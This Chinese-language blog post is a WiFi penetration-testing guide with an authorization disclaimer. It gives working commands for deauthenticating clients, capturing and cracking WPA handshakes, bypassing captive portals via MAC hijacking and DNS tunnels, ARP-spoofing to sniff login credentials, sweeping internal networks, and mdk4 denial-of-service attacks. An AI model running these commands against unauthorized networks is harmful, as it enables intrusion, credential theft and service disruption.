声明:本文介绍的内容仅限于于技术研究和交流,请勿使用本文介绍的技术进行未授权的测试。
在安全评估过程,经常会遇到对无线(Wireless)网络进行渗透测试的需求。最近刚好在写一个针对WiFi的测试指南,写完后分享出来,有需要的可以作为参考,当然可能不一定全,这里只是抛砖引玉,有疏漏或者不当之处,欢迎大家提出意见和反馈。
针对WiFi的测试项大致如下:
Web portal testing
Web portal测试主要关注WiFi认证过程以及认证Web门户相关的漏洞,比如SQL注入,组件漏洞,业务逻辑漏洞,认证绕过等。
下图就是一个Guest WiFi的Web认证界面:
对于Web应用相关的漏洞测试,这里就不详细介绍,如果不熟悉的,可以参考下面的资源:
https://portswigger.net/web-security/learning-paths
https://owasp.org/API-Security/editions/2023/en/0x11-t10/
常用的工具包括:
burpsuite: https://portswigger.net/burp
sqlmap: https://sqlmap.org/
xray: https://github.com/chaitin/xray
nuclei: https://github.com/projectdiscovery/nuclei
EasyPen: https://github.com/lijiejie/EasyPen
......
这里只是列举了部分工具,对于漏洞利用的工具,一般先是指纹识别,然后通过Google或者Github查找是否存在漏洞以及PoC。
首先,需要检查是否存在影响我们将无线网卡设置为监听模式的进程,比如Network Manager:
sudo airmon-ng check
如果存在,我们可以使用airmon-ng的kill命令自动结束相关进程:
sudo airmon-ng check kill
然后将无线网卡设置为监听模式,这里将信道设置为1,后面在确定了目标AP的信道后,需要和目标AP一致(使用airmon-ng stop wlan0mon,然后重新设置即可):
sudo airmon-ng start wlan0
# 或者指定信道
sudo airmon-ng start wlan0 1
我们可以使用iw查看当前的信道,可以看到是10:
$ sudo iw dev wlan0mon info
Interface wlan0mon
ifindex 7
wdev 0x3
addr 34:7d:f6:db:ba:05
type monitor
wiphy 0
channel 10 (2457 MHz), width: 20 MHz (no HT), center1: 2457 MHz
txpower 0.00 dBm
接下来,我们可以使用airodump-ng命令查看附近的WiFi AP 名称,找到我们目标的信息:
$ sudo airodump-ng wlan0mon
CH 7 ][ Elapsed: 6 s ][ 2023-12-12 21:28
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
74:EE:2A:8D:F8:25 -85 3 0 0 6 65 WPA2 CCMP PSK LINCOLN_DVR_8df825
48:0E:EC:FE:BA:9F -1 0 0 0 6 -1 <length: 0>
CC:08:FB:99:A8:88 -86 0 3 0 11 540 WPA2 CCMP PSK TP-LINK_A888
A4:A9:30:57:46:8D -79 5 311 0 1 130 WPA2 CCMP PSK Xiaomi_468C
98:0D:51:16:C0:C8 -32 9 0 0 1 130 WPA2 CCMP PSK 1702
BSSID STATION PWR Rate Lost Frames Notes Probes
48:0E:EC:FE:BA:9F E8:9F:6D:61:CB:D4 -90 0 - 6 0 2 ...
A4:A9:30:57:46:8D 7E:EE:26:E0:18:F6 -49 24e-11e 9 311 Xiaomi_468C
这里我们目标是 Xiaomi_468C,信道为1,BSSID是A4:A9:30:57:46:8D,有个客户端的MAC地址为7E:EE:26:E0:18:F6。
我们也可以使用airodump-ng的-c和--bssid参数对AP进行过滤,比如我们可以只关注Xiaomi_468C:
sudo airodump-ng -c 1 --bssid A4:A9:30:57:46:8D wlan0mon
在获取了目标AP和连接到AP的客户端的信息后,我们需要捕获客户端的认证的数据包,使用-w指定保存的文件的前缀:
sudo airodump-ng -c 1 -w Xiaomi_468C_crack --essid Xiaomi_468C --bssid A4:A9:30:57:46:8D wlan0mon
然后使用aireplay-ng命令使客户端和AP解除认证 (deauth) 并重新认证,以便我们捕获认证数据包:
sudo aireplay-ng --deauth 1 -a A4:A9:30:57:46:8D -c 7E:EE:26:E0:18:F6 wlan0mon
如果出现"No such BSSID available."的错误,或者没有捕获的到握手包,可以再多执行几次上述aireplay-ng命令。因为如果测试电脑离AP距离远的话,信号可能会丢失。我们可以将--deauth参数的值设置为10,发送10个解除认证的数据包,然后等待客户端重新连接。当然我们也可以不发送deauth数据包,等待有新的客户端接入。
网上有的文章可能会介绍将--deauth的值设置为0,一直发送解除认证数据包。但是测试过程发现,当--deauth值为0时,会导致客户端重新认证,而且即使输入正确的密码,也会提示密码错误,所以建议发送几个deauth数据包后,暂停一下,然后看是否有捕获到握手数据包。
在捕获到认证握手包后,我们可以继续捕获一会客户端和AP之间的流量,这些额外的数据可以用来验证破解的密码是否正确。
在某些情况下,捕获到WPA握手包的通知 (WPA handshake: xx:xx:xx:xx:xx:xx) 可能不会出现,因为尚未捕获到可用的握手包。多数情况下,可能是因为信号太强或者太弱,只能捕获到一端或者一部分握手信号。当然还有其他一些可能的原因:
目标使用了802.11我,会忽略未加密的deauthentication数据包,此时唯一的办法就是等待客户端连接。
设备自己没有重新连接,或者超出了信号的范围
最后,我们可以对WiFi密码进行破解。
aircrack-ng -w /usr/share/john/password.lst -b A4:A9:30:57:46:8D Xiaomi_468C_crack-01.cap
在破解完密码后,可以使用airdecap-ng尝试解密流量,验证密码的正确性:
airdecap-ng -b A4:A9:30:57:46:8D -e Xiaomi_468C -p 88888888 Xiaomi_468C_crack-01.cap
从上图可以看到成功解密了14008个数据包,说明密码正确。
WPS实际企业环境见到的比较少,这里就不介绍了,大家如果遇到,可以参考下面的资源对WPS进行PIN码进行破解:
hxxps[:]//www.hackthebox.com/blog/wps-pin-attacks-and-cracking-wps-with-reaver
流氓接入点在渗透测试过程可能一般不会测试,因为严格意义上来说并不算是我们测试的目标AP的漏洞。但是如果要检测企业对于Wireless网络的整体安全防御能力,则需要测试对流氓接入点的检测能力。
流氓接入点的创建,可以参考:
hxxps[:]//posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
hxxps[:]//medium.com/purple-team/conduct-red-team-engagements-on-wifi-with-wifiphisher-13fc55db29b1
hxxps[:]//www.amazon.com/dp/1801819777 (第6章 Wireless and Bluetooth Attacks )
关于流氓接入点的检测,可以参考:
hxxps[:]//www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/snappy-detecting-rogue-and-fake-80211-wireless-access-points-through-fingerprinting-beacon-management-frames/
WPA Enterprise加密方式为MGT,如下图。在实际测试过程,如果目标环境使用密码认证,我们同样可以尝试使用Rogue Access Points获取合法用户的凭据,然后对hash进行破解。但如果使用的是证书认证,则可能无法破解密码:
关于的攻击,可以参考:
hxxps[:]//pentest.blog/attacking-wpa-enterprise-wireless-network/
hxxps[:]//www.offsec.com/penetration-testing/hacking-wpa-enterprise-with-kali-linux/
使用Captive Portal相对简单。用户在没有输入任何凭据的情况下连接到目标网络。连接后,OS或者浏览器将会检测到captive portal的存在,并自动打开浏览器提示登录。欢迎页面通常包含规则和条件的说明,以及登录/密码提示。最常见的就是通过手机号和短信验证码进行认证,或者通过手机接收一个临时的账户密码进行登录。
大多数现代操作系统和浏览器 (手机和电脑上的浏览器) 会自动测试互联网的连接。检测captive portal也是这个测试的一部分。但是互联网连接和captive portal之间有些区别。
一般来说,OS或者浏览器将会尝试解析一个或者一组URL,然后看是否收到响应。例如,该响应可以以HTTP 204响应的形式出现,或者甚至只是响应“success”。如果DNS解析成功,但是访问特定URL失败,它将提示一个包含登录界面的强制门户 (captive portal)。
因为使用captive portal网络一般都会允许DNS协议的流量,我们可以通过一些技术手段,尝试绕过认证,直接访问互联网。
下面对几种方法详细介绍。
MAC spoofing
我们可以使用脚本hack-captive.sh:
sudo apt -y install sipcalc nmap
wget https://raw.githubusercontent.com/systematicat/hack-captive-portals/master/hack-captive.sh
sudo chmod u+x hack-captive.sh
需要注意的是,这个脚本里面使用的验证网络可访问的IP是8.8.8.8,在国内一些网络环境可能默认就无法访问,所以我们需要修改为国内的一些IP,比如114.114.114.114。
在没有认证之前,我们访问互联网会重定向到captive portal:
使用修改过的脚本扫描所有存活的主机IP和MAC地址(APR广播):
$ sudo ./hack-captive.sh
Looking for active hosts in 192.168.140.0/24. Please wait.
Trying to hijack 192.168.140.10 - 08:45:d1:17:82:2b
Suitable hosts not found. Checking another network chunk.
Looking for active hosts in 192.168.141.0/24. Please wait.
Trying to hijack 192.168.141.31 - a4:23:32:03:26:e5
Trying to hijack 192.168.141.38 - a4:23:31:03:c3:39
Trying to hijack 192.168.141.46 - b2:f2:22:5f:ff:1d
......
Trying to hijack 192.168.141.120 - a4:29:33:14:e9:49
Trying to hijack 192.168.141.123 - ae:6e:5b:12:f4:c4
Trying to hijack 192.168.141.251 - a4:29:23:04:52:68
sudo ifconfig wlan0 down
sudo macchanger --mac AB:5C:FC:77:AE:7D wlan0
sudo ifconfig wlan0 up
如果无法识别到主机或者突然无法连接到AP,可能是因为ARP扫描触发了检测规则,可以尝试修改下测试电脑的MAC地址。
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
sudo ifconfig wlan0 up
# 或者使用macchanger
sudo macchanger wlan0 -e # or
sudo macchanger wlan0 -r
此外,也可以尝试使用airodump-ng查看连接到对应AP的客户端MAC地址:
sudo airodump-ng --bssid EC:01:D5:A2:10:00 wlan0mon
首先测试在认证前,是否允许DNS协议:
dig @1.1.1.1 www.baidu.com +short
要使用DNS隧道,我们需要有一个自己的域名以及公网VPS (dnscat2可以直接用IP连,但在captive portal场景下可能无法直接用IP)。
配置方法比较简单,我们首先创建一个A记录,这里为ns1,指向自己的VPS,然后创建一个NS记录,指向ns1,如下:
创建完成后,等记录更新,然后测试是否可以解析:
在DNS记录能正常解析后,我们就可以尝试创建DNS隧道。第一个工具是iodine,该工具会在Server端和客户端创建两个虚拟的网卡,然后创建一条虚拟链路。Kali默认安装,如果没有安装,可以用如下命令进行编译:
git clone https://github.com/yarrick/iodine.git
cd iodine/
make
在Server(VPS上)端运行如下命令进行监听:
sudo ./iodined -f -c -P cxh@CNSOC 192.168.5.1/24 wifipte.example.com
我们可以在如下网站测试Server端是否设置成功:
https://code.kryo.se/iodine/check-it/
如果没问题,在客户端(测试主机)运行:
在显示Connection setup complete, transmitting data后,说明隧道建立完成,我们可以进行测试:
接下来,我们在测试主机使用SSH的动态端口转发功能,创建一个socks代理,下面192.168.5.1为VPS上创建的虚拟IP的地址:
ssh -N -D 0.0.0.0:1080 ubuntu@192.168.5.1
最后,在测试主机配置socks代理就可以使用浏览器访问互联网了:
如果iodine失败,会显示如下信息,我们可以继续尝试使用dnscat2,因为iodine流量没有加密,dnscat2默认加密:
在Ubuntu 20.04 LTS可以使用如下命令编译dnscat2的Server端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
然后Server端运行如下命令进行监听:
ruby ./dnscat2.rb -p 1.1.1.1 -secret=cxh@123456 wifipte.example.com
客户端进行测试:
测试没有问题后,我们就可以使用dnscat2创建DNS隧道:
dnscat --dns domain=wifipte.example.com --secret=cxh@123456
出现"Session established!",说明会话建立成功。
最后,我们也可以尝试通过使用UDP协议的VPN来绕过captive portal,这里我们在VPS上配置一个openvpn服务,监听在UDP 53端口,然后看openvpn客户端能否成功连接。
关于openvpn 服务的配置这里就不介绍了,如果成功,会显示如下信息:
如果是失败,则显示如下信息:
如果captive portal认证时使用的是HTTP协议,我们也可以通过ARP欺骗的方式,窃取合法用户的认证信息。但如果captive portal地址和要认证的客户端在同一个VLAN,则ARP欺骗可能无法成功。
首先,我们先查看当前网段存活的主机:
sudo netdiscover -i wlan0
然后,我们开启Linux 内核的转发模式:
sudo sysctl -w net.ipv4.ip_forward=1
# 或者
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
这里我们以192.168.5.150为目标,使用aprspoof进行ARP欺骗:
sudo arpspoof -i wlan0 -t 192.168.5.150 192.168.5.1
sudo arpspoof -i wlan0 -t 192.168.5.1 192.168.5.150
sudo urlsnarf
我们可以使用urlsnarf查看通过wlan0网卡访问的URL:
使用Wireshark抓包,能看到认证密码:
此外,也可以使用bettercap执行arp欺骗:
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.5.150
arp.spoof on
当然,ARP欺骗成功的前提是客户端认证过程使用HTTP协议,虽然网上有文章说在使用HTTPS协议的情况下,可以使用sslstrip,但是测试过程发现没有成功,大家可以自己研究测试下。
对于Captive Portal的攻击,除了上面介绍的Web应用漏洞测试,绕过Captive Portal,我们也可以使用Evil Twin来获取合法用户的凭据,具体可以参考:
hxxps[:]//infosecwriteups.com/how-to-steal-social-media-accounts-using-a-captive-portal-8f87123f8fba
hxxps[:]//madura-rajapakshe50.medium.com/wi-fi-hacking-using-evil-twin-attacks-and-captive-portals-part-1-af041aa72fec
在接入WiFi后,我们可以测试目标环境的网络隔离是否真的有效,比如我们可以模拟攻击者接入Guest网络后尝试访问内部系统以及数据。
首先我们可以扫描当前网关所在的C段,看有没有收获:
route -n
ip route show
nmap -sn 172.20.10.1
接下来,可以对整个内网IP段进行扫描,看通过Guest网络能访问哪些主机或者系统。我们可以用下面的脚本调用fping来扫描:
#!/bin/bash
echo Start at $(date +'%F %T')
echo > gateway.txt
for i in $(seq 0 255); do
for j in $(seq 1 254); do
fping -b 1 -r 1 -a 192.168.$i.$j >> gateway.txt
done
done
for i in $(seq 0 255); do
for j in $(seq 16 31); do
for q in $(seq 1 254);do
fping -b 1 -r 1 -a 172.$j.$i.$q >> gateway.txt
done
done
done
for i in $(seq 0 255); do
for j in $(seq 0 255); do
for q in $(seq 1 254);do
fping -b 1 -r 1 -a 10.$j.$i.$q >> gateway.txt
done
done
done
echo Finished at $(date +'%F %T')
上面脚本执行时间可能会比较长,我们也可以修改下脚本,先扫描每个网段默认的网关,比如192.168.1.1和192.168.1.254,在扫描到存活的网关后,再扫描整个C段,但可能会漏掉禁ping的一些网段。
在获得所有存活的主机后,我们可以扫描开放的端口和服务,常见的工具有nmap,fscan等。
如果渗透测试包括拒绝服务的测试,我们可以使用工具mdk4 (https://github.com/aircrack-ng/mdk4) 执行相关的测试。mdk4包含多种攻击模式,下面我们将介绍几种可以用来执行拒绝服务攻击的模式。
在执行攻击之前,我们需要获取目标AP相关信息。
sudo airmon-ng check
sudo airmon-ng check kill
sudo airmon-ng start wlan0
然后使用airodump-ng获取目标AP信息,比如BSSID,信道,加密算法,ESSID,连接的客户端等:
sudo airodump-ng wlan0mon
在获取了相关信息后,就可以对不同的攻击模式进行测试。
ATTACK MODE a: Authentication Denial-Of-Service
攻击模式a
下面对BSSID为98:0D:51:16:C0:C8的AP进行测试:
sudo mdk4 wlan0mon a -i 98:0D:51:16:C0:C8 -s 100000
在攻击开始后,可以尝试用其他设备连接目标AP,看能否成功。这种攻击可能目前对部分路由器已经无效,但部分路由器还是可以使用这种方式攻击,
ATTACK MODE d: Deauthentication and Disassociation
向客户端发送解除认证和解除关联的数据包,以断开所有客户端与AP的连接。
下面对BSSID为A4:A9:30:57:46:8D的AP进行测试
sudo mdk4 wlan0mon d -B A4:A9:30:57:46:8D -s 10000
如果攻击成功,则客户端会一直自动断开。
mdk4的d模式不能指定客户端MAC地址,测试过程发现效果也不太行。大家测试过程如果发现使用mdk4的攻击模式d无效,可以尝试使用aireplay的--deauth选项,而且可以指定客户端:
sudo aireplay-ng -0 0 -a A4:A9:30:57:46:8D wlan0mon
ATTACK MODE m: Michael Countermeasures Exploitation
在另一个QoS队列发送随机的数据包或者注入重复的数据包,以在使用TKIP加密的AP上引发Michael Countermeasures。
如果目标AP使用了TKIP加密,则可以尝试下这种攻击方法,下面以MAC地址为9C:28:EF:62:E7:4C的AP为例:
sudo mdk4 wlan0mon m -t 9C:28:EF:62:E7:4C -s 1000 -w 1
然后我们可以查看其他设备是否能够正常连接目标AP并使用。
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
用EAPOL Start桢对AP泛洪,使其忙于处理虚假的会话,从而无法处理合法的客户端。或者通过注入假的EAPOL Logoff消息注销客户端。
下面以MAC地址为94:28:6F:BB:0F:99的AP为例:
sudo mdk4 wlan0mon e -t 94:28:6F:BB:0F:99 -s 1000
发送攻击数据包后,我们可以观察其他设备能否正常连接并使用。
上面介绍了针对Wireless网络进行渗透测试的常见测试方法,大家可作为一个参考。因为有的英文术语翻译成汉语可能比较怪,就直接写原文了。
部分测试项因为遇到的比较少,就只写了参考资源,大家在学习或者研究过程如有任何疑问,或者无法找到文章中介绍的资源,可在后台留言。
最后说点题外话,这个冬天可能对有些人来说,异常寒冷,但是所谓“盛极必衰,衰久必盛”,不管外界怎么变化,只有自己不断学习,不断提升自己的能力,当机会出现时,情况变好时,自己才能以最好的状态迎接。祝愿大家在这个冬天一切顺利。